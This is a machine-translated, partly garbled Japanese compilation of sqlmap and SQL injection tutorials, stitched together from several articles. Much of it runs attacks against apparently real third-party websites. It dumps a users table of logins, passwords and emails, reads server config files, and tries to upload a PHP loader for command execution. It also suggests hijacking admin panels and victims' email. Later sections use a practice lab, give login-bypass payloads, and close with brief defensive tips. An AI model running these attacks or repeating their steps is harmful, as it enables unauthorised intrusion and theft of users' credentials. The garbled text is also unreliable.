このプログラムを使用すると、サイトに SQL インジェクションの脆弱性がないかチェックできます。 XSS の脆弱性、SQL インジェクションを悪用するだけでなく。 さまざまなサポート SQLの種類-注射とさまざまなデータベース。
sqlmap を使用すると、次のことが可能になります。
サイトが SQL インジェクションに対して脆弱な場合は、次の可能性があります。
sqlmap を使用するシナリオの 1 つは次のとおりです。
脆弱性がある場合、攻撃はさまざまな方向に発展する可能性があります。
ご覧のとおり、SQL インジェクションは攻撃者に大きな機会を与える非常に危険な脆弱性です。
サイトが GET メソッドを使用してユーザーからデータを受信した場合 (変数名と送信されたデータの両方が アドレスバーブラウザ) の場合は、この変数が存在するページのアドレスを選択する必要があります。 疑問符 ( ? )、 例えば:
最初のアドレスの変数名は次のとおりです。 ID、渡された値は 8 。 2 番目のアドレスの変数名も ID、送信された値 22 。 3 番目の例では、変数名は同じですが、渡される値は p_36. 同名変数はさまざまなサイトのランダムな一致です。何でも構いません。送信されるデータは何でも構いません。記号で区切られた値を持つ複数の変数が存在する可能性があります。 & .
id 変数が SQL インジェクションに対して脆弱かどうかを確認したい場合は、アドレス全体 (http://www.dwib.org/faq2.php?id=8) を入力する必要があります (http://www.dwib ではありません)。 .org /faq2.php または http://www.dwib.org)。
GET メソッドによって渡された変数を確認するコマンドは非常に簡単です。
Sqlmap -u サイトアドレス
これらのサイトの場合、コマンドは次のようになります。
Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36
検証プロセス中に、sqlmap はさまざまな質問をする場合があり、それに答える必要があります。 y(つまり、はい) または n(つまり、いいえ)。 文字 y と n は大文字でも小文字でもかまいません。 大文字はデフォルトの選択を意味します。これに同意する場合は、Enter キーを押してください。
状況と質問の例:
ターゲットが何らかの WAF/IPS/IDS によって保護されていることをヒューリスティックにより検出しました。sqlmap でバックエンド WAF/IPS/IDS の検出を試行しますか?
ヒューリスティックにより、ターゲットが何らかの WAF/IPS/IDS によって保護されていると判断されました。 sqlmap で WAF/IPS/IDS の名前を決定しますか?
私のお気に入りのリクエスト:
ヒューリスティック (基本) テストでは、GET パラメーター "id" が注入可能である可能性があることが示されています (DBMS: "MySQL" の可能性があります) GET パラメーター "id" に対する SQL インジェクションのテストでは、バックエンド DBMS が "MySQL" であるようです。 他の DBMS に固有のテスト ペイロードをスキップしますか?
重要なのは、パラメータが脆弱である可能性があるとヒューリスティックによって判断され、リモート DBMS がすでに識別されているため、チェックを続行するかどうかを尋ねられるということです。 2 番目のスクリーンショットでは、このサイトも XSS に対して脆弱です。
sqlmap が毎回質問しないようにプロセスを自動化したい場合は、デフォルトの選択を使用します (常に 最良の選択肢)、オプションを指定してコマンドを実行できます。 - バッチ:
Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch
次のエラーが表示される場合があります。
ターゲット URL への接続がタイムアウトしました。 問題が解決しない場合、sqlmap はリクエストを再試行します。指定されたターゲット URL が有効であることを確認してください。 その場合は、スイッチ「--random-agent」をオンにするか、プロキシ スイッチ (「--ignore-proxy」、「--proxy」など) をオンにして再実行してみてください。
これは、Web サイトが sqlmap と「対話」したくないことを意味します。 オプションとして使用が提案されています --ランダムエージェント。 ブラウザーでサイトを表示できるにもかかわらず、sqlmap が接続不可能について書き込んでいる場合、サイトはユーザー エージェントに重点を置いてリクエストを無視しています。 --random-agent オプションは、標準の sqlmap 値をランダムに変更します。
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent
このエラーのもう 1 つの理由は、IP が Web サイトによってブロックされている可能性があります。その場合は、プロキシを使用する必要があります。 すでにプロキシを使用していてこのエラーが表示される場合は、プロキシに通信の問題がある可能性があるため、プロキシなしで試す必要があります。
検出された SQL インジェクションは次のように表示されます。
それらの。 太字の緑色で強調表示され、脆弱なパラメータの名前が書かれ、SQL 脆弱性の種類と単語が表示されます。 注射可能な.
データベースのリストを取得するには、オプションを使用します --dbs。 例:
Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs
たとえば、wellerpools.com というサイトでは 2 つのデータベースが見つかりました。
[*] information_schema [*] main_wellerpools
main_wellerpools データベース内のテーブルのリストを知りたいです。 これを行うには、オプションを使用します --テーブル。 それに加えて、オプションの後に興味のあるテーブルを指定する必要があります -D:
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables
テーブルのリスト:
何らかの理由で、users テーブルの列のリストを知りたいと考えています。 これを行うには、オプションを使用します --列。 それに加えて、関心のあるデータベースを指定する必要があります ( -D main_wellerpools) とキーの後に -T列のリストを表示したいテーブル:
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns
コンテンツを表示するには、オプションを使用します - ごみ。 データベースと一緒に指定すると、データベース全体のダンプが作成されます。または、データを 1 つのテーブルまたは 1 つの列に制限することもできます。 次のコマンドを使用して、users テーブル全体の内容を確認します。
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump
パスワードを見てください。ざっと調べたところ、パスワードはハッシュだと思いました。 管理者は懸命に自分自身を守ろうとしましたが、役に立ちませんでした。
ちなみに、GET メソッドによって送信されたデータを受け入れるパラメーターには脆弱性があるため、ユーザーのログインとパスワードがサイト自体に直接表示されるように、ブラウザー行で直接リクエストを作成できます。
それらの。 私たちは、サイトのユーザー (そしておそらく管理者も) のユーザー名、パスワード、電子メールを持っています。 見つけられたら 管理パネルサイトにアクセスすると、サイトまたは Web サーバーを制御できるようになります。 同じパスワードに対するユーザーの愛情を考慮し、それを知る メールボックス- メールのハッキングを試みることができます。
一般に、SQL インジェクションは非常に危険な脆弱性です。
SQL インジェクションとは、攻撃者が Web アプリケーションの SQL クエリ ロジックを変更し、データベース内の値の読み取り/変更/削除を可能にし、場合によってはサーバー側で任意のコードを実行する攻撃の一種です。 この記事では、SQL インジェクションを実行するための一般的な sqlmap ユーティリティについて説明します。
今のところ、 このタイプ脆弱性はすべての中で最も危険です。 7 年間、「OWASP TOP-10」の先頭は SQL インジェクションによってリードされてきました。
この脆弱性には主に 5 つの理由があります。
SQLMap ユーティリティによって利用される SQL インジェクションの種類を見てみましょう。
ユーティリティを起動します (変数内にある必要があります)パス ):
$sqlmap
またはユーティリティ ディレクトリから:
$pythonsqlmap.py
キーはドキュメントを呼び出すために使用されます «- h / — ヘルプ »:
$ sqlmap --help $ python sqlmap.py –help
SQLMap キーの動作は、攻撃者が正確に何を達成したいかによって完全に異なります。 SQLMap アクションの基本リストは次のようになります。
実践的なトレーニングでは、 くそ 脆弱 ウェブ 応用 (DVWA または「まったく脆弱な Web アプリケーション」)。
DVWA – は、PHP や MySQL などのテクノロジーに基づいて構築された無料の Web アプリケーションで、侵入テストのスキルを訓練するために設計されています。
ここではインジェクションのみに興味がありますが、一般に、公式に基づいて作成された他の脆弱性で自分の能力をテストできます。 オワスプ トップ -10 .
追記: この演習は、Linux の基本、つまりエントリーレベルの知識があることを前提としています。 英語 Google を使用できること (上記のスキルがない場合)。
インストール:
初期データ:
それでは始めましょう:
コマンドの説明:
— url – 脆弱性があると思われるパラメータを含む URL。 このキーの変数は引用符で囲まれていることに注意することが重要です。 チェックされている URL には複数の URL があります 渡されたパラメータ。 それ以外の場合は、引用符を無視して、キーの短いバージョンを使用できます。 “- あなた ” 等号なし .
- cookie – 攻撃中に直接アクセスするためのセッション cookie (オプションのキー)。
結論:
分析:
コマンドの説明:
—dbs – 利用可能なデータベースをリストするためのキー。
結論:
分析: SQLMap には、利用可能なデータベース (合計 7 つ) がリストされました。
コマンドの説明:
-D – 対象となるデータベースを指定します。
--tables – データベース内の使用可能なテーブルをリストします。
結論:
分析:ご覧のとおり、SQLMap はデータベース内の 2 つのテーブルの名前を正常にリストしました。 ドワワ .
コマンドの説明:
-T – 関心のあるテーブルを示します。
—columns – テーブル内の使用可能な列をリストします。
結論:
分析:ご覧のとおり、SQLMap はテーブル内の 6 つの列の名前を正常にリストしました。 ユーザー、BD ドワワ .
コマンドの説明:
C – 興味のある列を示します。
--dump – リストされた列から値をダンプします。
結論:
分析: SQLMap の応答に基づいて、次の点に注意してください。
コマンドの説明:
—data – POST リクエストで送信されるテスト用のパラメーターを指定します。
—os —shell – SQL インジェクションを介してサーバー コンソールを悪用しようとするための特別なキー。
結論:
分析: SQLMap の応答に基づいて、次の点に注意してください。
より深いレベルのシステム アクセスを取得する利点:
スポイラー: 。禅
サイトには次のような SQL インジェクションがあります。
まず最初に、攻撃されたリソースにファイルを書き込む権限があるかどうかを確認し、ターミナルをロードして次のコマンドを実行します。
http://www.sacoor.com/site_terms.php?lang=ja --banner --current-db --current-user --is-dba
Enter キーを押すと SQL インジェクションの分析が始まり、レポートは次のようになります。
レポートには、Apache のバージョン、MySQL のバージョン、サーバーにインストールされている OS のバージョンが記載されており、これはすべて将来的に役立ちますが、最も重要なのは次のことがわかります。ファイルを書き込む権限があります。これは、「Current User is DBA: True」という行に表示されます。
次のステップは、シェルを記録するためのパスを取得することです。 httpd.conf ファイルをダウンロードすると、サーバー上のサイトへのパスを取得できます。 httpd.conf ファイルの場所に関する情報は、次から取得します。 Googleを使用してでは、インストールされている OS のバージョン、または最も可能性の高いパスのリストによって検索できます。 基本的にサーフィンについては詳しく説明しません 検索エンジンファイルへのパスの最も可能性の高い場所がわかったら、このファイルをディスクにダウンロードします。これを行うには、次のコマンドを入力して、サーバー上のファイルの読み取りを要求します。
Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf
この構成ファイルを最初に見つけることが常に可能であるとは限らないため、このファイルが存在する可能性が最も高いパスを使用できることにすぐに注意してください。
設定ファイルへの可能なパスのリスト:
../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../。 ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../。 ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../。 ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../。 ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf
sqlmap から次の形式でレポートを受け取ります。
ご覧のとおり、sqlmap はファイルのサイズがサーバー上のファイルと同じであることを示しているため、このファイルを読み取る権利があります。 このファイルを読み取るための十分な権限がない場合は、マシンに保存されているファイルのサイズがサーバー上のファイルと異なるか、指定したパスにあるサーバー上にファイルが存在しないというエラーが表示されます。された。 Sqlmap はファイルをレポート ファイルに保存しました。それを読み取るには、ウィンドウ マネージャーを起動する必要があります。 始めるには ウィンドウマネージャー別のターミナル ウィンドウを開いて次のコマンドを入力します。
次に、開いたマネージャーで、sqlmap がファイルを追加したパスをたどります。つまり、次のようになります。
/root/.sqlmap/output/sacoor.com
次に、ファイルの上にカーソルを置き、キーボードの F3 ボタンを押して、Apache 構成ファイルを読み取ります。
構成ファイルから、サイトがサーバー上の次のパスに配置されていることがわかります。
/ホーム/sbショップ/サイト/
少しの情報が得られたので、シェルに情報を入力してみます。これを行うには、次のコマンドを入力します。
Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l
コマンドを入力すると、sqlmap はどのタイプのフィラーを使用するかを尋ねます。 私たちの場合、サイトは PHP なので、PHP ローダーをアップロードし、項目 4 を選択して Enter を押します。 次に、sqlmap はローダーをアップロードする場所を選択するように求めます。 サーバー上のサイトへのパスはすでにわかっているので、項目 2 を選択し、Enter キーを押してサイトへのパスを指定します。
/ホーム/sbショップ/サイト/
その後、Enter キーを押すと、次のレポートが表示されます。
で この場合 sqlmap はそれを教えてくれます このフォルダ私たちには書き込み権限がありません。 問題ありません。この問題は非常に簡単に解決できます。 uniscan を起動し、ファイルとフォルダーの書き込み可能性をチェックするコマンドを与えます。コマンドは次のとおりです。
SQL インジェクションは、ステートメントの特定の部分をコメント アウトするか、常に true となる条件を追加することによって、動的 SQL ステートメントを悪用する攻撃です。 これは、Web アプリケーション アーキテクチャのホールをターゲットにし、SQL ステートメントを使用して悪意のある SQL コードを実行します。
この記事では、SQL インジェクションで使用される手法と、そのような攻撃から Web アプリケーションを保護する方法について説明します。
SQL インジェクションを使用して実行できる攻撃の種類は、影響を受けるデータベース エンジンの種類によって異なります。 この攻撃は動的 SQL ステートメントをターゲットとしています。 動的ステートメントは、Web フォームまたは URI クエリ文字列のパラメーターに基づいて実行時に作成されるステートメントです。
ログイン フォームを備えた単純な Web アプリケーションを考えてみましょう。 HTML フォームのコードは次のとおりです。
サーバー側でユーザー ID を確認するリクエストが次のようになっていると仮定します。
SQL インジェクション sqlfiddle を使用した攻撃を見ていきます。 ブラウザで URL http://sqlfiddle.com/ を開きます。 次のウィンドウが画面に表示されます。
注: SQL ステートメントを記述する必要があります。
ステップ 1: 左側のパネルに次のコードを入力します。
CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); ユーザー (メールアドレス、パスワード) の値を挿入 (" [メールで保護されています]",md5("abc"));
ステップ 2: ボタンをクリックします スキーマの構築».
ステップ 3: 右側のペインに以下のコードを入力します。
ユーザーから * を選択します。
ステップ 4: 「」をクリックします。 SQLを実行する」 次の結果が表示されます。
ユーザーが電子メール アドレスを提供したと仮定します。 [メールで保護されています]パスワードとして 1234 を入力します。 データベース上で実行する必要があるクエリは次のようになります。
上記の SQL インジェクション コードの例は、パスワードの一部をコメント アウトし、常に true となる条件を追加することで回避できます。 攻撃者が電子メール アドレス フィールドに次のデータを挿入したと仮定します。
[メールで保護されています]" OR 1 = 1 リミット 1 -- " ]
パスワードフィールドにxxxを入力します。
生成された動的ステートメントは次のようになります。
0; ' AND ... はパスワード部分を除いた SQL コメントです。
以下に示すように、上記のクエリをコピーし、FiddleRun SQL テキスト ボックスに貼り付けます。
http://www.techpanda.org/ で入手できる簡単な Web アプリケーションを用意しています。これは、デモンストレーション目的で初心者向けに SQL インジェクション攻撃に対して特別に脆弱になっています。 上記の HTML フォーム コードは、このアプリケーションの認証ページから取得したものです。
電子メールフィールドのサニタイズなどの基本的なセキュリティを提供します。 これは、上記のコードを使用してこのメカニズムをバイパスすることはできないことを意味します。
これを回避するには、パスワード フィールドを使用できます。 以下の図は、従う必要がある手順を示しています。
攻撃者が次のデータを提供したと仮定します。
ステップ 1: 入力する [メールで保護されています]電子メールアドレスとして;
ステップ 2: xxx') または 1 = 1 - ] を入力します。
「送信」ボタンをクリックします。
管理パネルに送信されます。 生成されたクエリは次のようになります。
以下の図は、リクエストがどのように生成されたかを示しています。
ここ:
通常、攻撃者は目的を達成するために、SQL インジェクション攻撃でいくつかの異なる方法を使用しようとします。
SQL インジェクションは、承認メカニズムをバイパスしてシステムにログインするよりもはるかに大きな損害を引き起こす可能性があります。 これらの攻撃の中には、次のようなものもあります。
上記のリストは完全ではありません。 これは、SQL インジェクションがもたらす危険性についてのアイデアを提供するだけです。
上の例では、手動による攻撃方法を使用しました。 SQL インジェクションを実行する前に、より効率的かつ迅速に攻撃を実行できる自動化ツールがあることを理解する必要があります。
SQL インジェクション攻撃から保護するための簡単なルールをいくつか示します。
ユーザー入力は信頼すべきではありません。 データを動的 SQL 操作で使用する前に、常にサニタイズする必要があります。
ストアドプロシージャ- SQL クエリをカプセル化し、すべての入力データをパラメータとして処理できます。
準備されたクエリ- 最初にクエリが作成され、次に提供されたすべてのユーザー データがパラメータとして処理されます。 これは SQL ステートメントの構文には影響しません。
正規表現- SQL ステートメントを実行する前に、潜在的に悪意のあるコードを検出し、削除するために使用できます。
データベースに接続するためのアクセス権- に SQL インジェクションから保護する、データベースへの接続に使用されるアカウントには、必要なアクセス権のみを付与する必要があります。 これは、SQL ステートメントがサーバー上で実行できるアクションを制限するのに役立ちます。
エラーメッセージ- 開示してはなりません 機密情報。 「」などの単純なカスタム エラー メッセージ ごめんなさい、それは起こりました 技術的エラー。 この件についてはサポート チームにすでに通知されています。 後でもう一度試してください」を表示する代わりに使用できます。 SQLクエリそれがエラーの原因でした。